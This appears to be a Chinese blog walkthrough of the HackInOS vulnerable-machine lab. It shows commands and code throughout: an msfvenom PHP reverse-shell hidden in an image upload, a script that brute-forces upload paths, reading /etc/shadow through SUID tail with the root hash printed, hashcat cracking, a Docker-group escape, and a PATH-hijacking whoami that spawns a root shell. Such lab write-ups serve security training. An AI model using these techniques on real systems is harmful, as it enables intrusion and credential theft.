HackInOS靶机练习

HackInOS靶机练习

网络结构:

网络结构由VMware虚拟机及物理机组成

靶机hackinOS:192.168.1.

Kali:192.168.1.132/24

物理机

信息收集:

主机发现:

Nmap扫描:

1
nmap -sP 192.168.1.0/24    

此处192.168.1.1为VMnet1网卡地址,1.3为网关地址,1.137为kali的地址,判断靶机地址为192.168.1.136(这里因为原图在保存过程中丢失了,所以我重新扫描了一下放了张图,时间跟后面对不上,但是不妨碍,地址都是一样的)

image-20210113201528888

端口扫描:

可以看到除了22端口,还开放了8000端口:

1
nmap -sV 192.168.1.136

image-20210113104409516

漏洞挖掘:

访问8000端口:

可以看到一个web界面

image-20210113104422944

访问robots.txt,可以看到提示了我们一个文件上传页面

注:robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(爬虫),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。

image-20210113104444259

打开这个页面瞅瞅:

image-20210113104457566

右键查看源代码,拖到最底下,看到给了一个github链接

image-20210113134252755

转到这个GitHub页面,可以看到人家给了页面源码:可以上传文件,过滤了mime类型,仅允许png和gif格式

image-20210113203046167

生成了一个1-100随机数,添加在文件尾部,用md5加密后作为新文件名

image-20210113203151096

这里我们可以上传个木马,接收反弹shell,先制作一个反弹shell的php木马

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 lport=4444 -f raw > 1.php

image-20210113200422878

生成木马如下图,ip地址为kali的ip,端口号4444为kali要监听的端口

image-20210113200652237

然后加到某一图片中,生成图片马

image-20210113203853643

记事本打开此图片,可以看到我们1.php中的代码已经加到了图片最后面

image-20210113204004374

图片马生成成功,接下来上传上去,将数据包用burp拦截下来,需要修改一下文件名后缀为php,不然到时候没法用

image-20210113204211026

image-20210118195423279

如上图已经可以看到上传成功,还提示了我们存放的目录位置

在kali端监听端口:

image-20210113213243804

这里因为目标主机在存储上传过来的图片时,会在文件名尾部加一个1-100的随机数,然后对其进行md5加密,再生成新的文件名,我们无法直接访问,需要借助工具对目标路径进行爆破

这里首先运行一个python脚本a.py,生成字典zd1.txt

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
import hashlib
for i in range(101):
file ="3.php"+str(i)
hash=hashlib.md5(file.encode())
dir=hash.hexdigest()+".php"
f = open("zd1.txt","a+")
f.write(dir+"\r\n")
f.close()

然后使用dirb进行遍历

1
dirb "http://192.168.1.136:8000/uploads" zd1.txt 

成功检索到目标文件时如下图所示

image-20210119121654712

监听端会返回过来一个shell

image-20210119121835591

因为网站为wordpress搭建,其数据库信息存放在wp-config.php内,直接用cat就可以查看,可以看到数据库用户名和密码均为wordpress

image-20210119210214722

此时我们可以查看下系统信息,判断服务是否运行在容器内

1
sysinfo

image-20210119122229654

主机名为1afdd1f6b82c,像是在容器中运行,确认一下,确实运行在docker中

1
run post/linux/gather/checkcontainer

image-20210119124814004

提权

虽然是在docker中,但现在我们也只有进行提权才能进一步想办法拿到主机shell

先上传一个Linux信息收集脚本 下载地址 https://github.com/sleventyeleven/linuxprivchecker

1
meterpreter > upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py

image-20210119191530441

这个脚本会提供给我们很多信息,包括我们此时最需要的设置了suid的命令,如下图,tail命令被设置了suid

image-20210119195222880

直接用cat来查看shadow文件是查看不了的,所以我们可以用tail来查看shadow文件,可以看到root的用户名密码

1
tail -c1G /etc/shadow

image-20210119202436084

1
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::

之后使用hashcat破解密码,将得到的用户名密码hash值存放在文件root.hash中,使用hashcat进行破解

image-20210119205313412

命令:

1
hashcat -w 3 -a 0 -m 1800 -o root.out root.hash

此处参数,-w 调优,-a 指定要使用的破解模式,其值参考后面对参数。””-a 0”字典攻击,”-a 1” 组合攻击;”-a 3”掩码 攻击。 -m 1800 = SHA-512(Unix)

得到存有破解密码的文件root.out,查看密码为john

image-20210119205430472

此处我们切换为root用户时需要使用到一个交互shell

1
python -c "import pty;pty.spawn('/bin/bash');"

image-20210119205604832

此时docker内提权成功

docker逃逸

有了root权限我们可以查看数据库了,用之前获取的数据库用户名和密码登录mysql

1
mysql -h db -u wordpress -p

image-20210119211110829

从上图中可以看到一个host_ssh_cred表,看起来像是ssh连接,查看下这个表,果然,从里面可以看到一组用户名密码

image-20210119211300651

密码由md5加密,将其解密后,得到明文12345

image-20210119211535316

使用ssh登录,登录成功

1
ssh hummingbirdscyber@192.168.1.136 

image-20210119213653055

登录后查看用户组,属于docker组,逃逸成功

image-20210119213846779

二次提权

此时我们直接将root目录挂载至容器内,即可查看root下的文件

如图,成功拿到flag

1
docker run -it -v /root:/root ubuntu:latest

image-20210119214126336

但此时我们还没有真正拿到root权限,继续进行提权

查看一下设置了suid的文件

1
ls -lh $(find / -perm -u=s -type f 2>/dev/null)

image-20210119214326397

可以看到一个a.out,此文件显然是人为创建的可执行文件,运行一下看看,看到返回了结果root

1
/home/hummingbirdscyber/Desktop/a.out

image-20210119214610108

我们不清楚这个文件的内容,但其执行结果仅返回了一个用户名,猜测调用了whoami文件

查看一下环境变量,可以看到/home/hummingbirdscyber/bin,此目录我们是有写权限的

image-20210119214939395

我们可以自行编写一个whoami文件,因为我们猜测a.out中使用了whoami命令,而环境变量中又有一个我们具有写权限的目录,此时如果我们伪造一个whoami文件,a.out在调用命令时首先检索环境变量就会调用到我们伪造的whoami,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

此处whoami中的内容为返回一个shell,还需要说明一点,因为执行a.out的时候返回的是root,因此怀疑是使用root的权限来调用了whoami,此时我们如果能够获取到shell,则可以拿到root权限

1
2
3
4
5
6
7
8
9
hummingbirdscyber@vulnvm:~/Desktop$ nano whoami.c      
hummingbirdscyber@vulnvm:~/Desktop$ cat whoami.c
#include <stdlib.h>
int main(void) {
system("/bin/bash -p");
return 0;
}
hummingbirdscyber@vulnvm:~/Desktop$ gcc -o whoami whoami.c //编译
hummingbirdscyber@vulnvm:~/Desktop$ chmod +x whoami //赋予执行权限

我们到hummingbirdscybe目录下,创建一个bin目录,然后将之前编译好的whoami移动到bin目录下

1
2
hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv Desktop/whoami bin/

执行a.out,前面的用户名变为了root

image-20210119220402541

查看flag,无误,提权成功

image-20210119220542728

作者:C0mpactDisk,本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!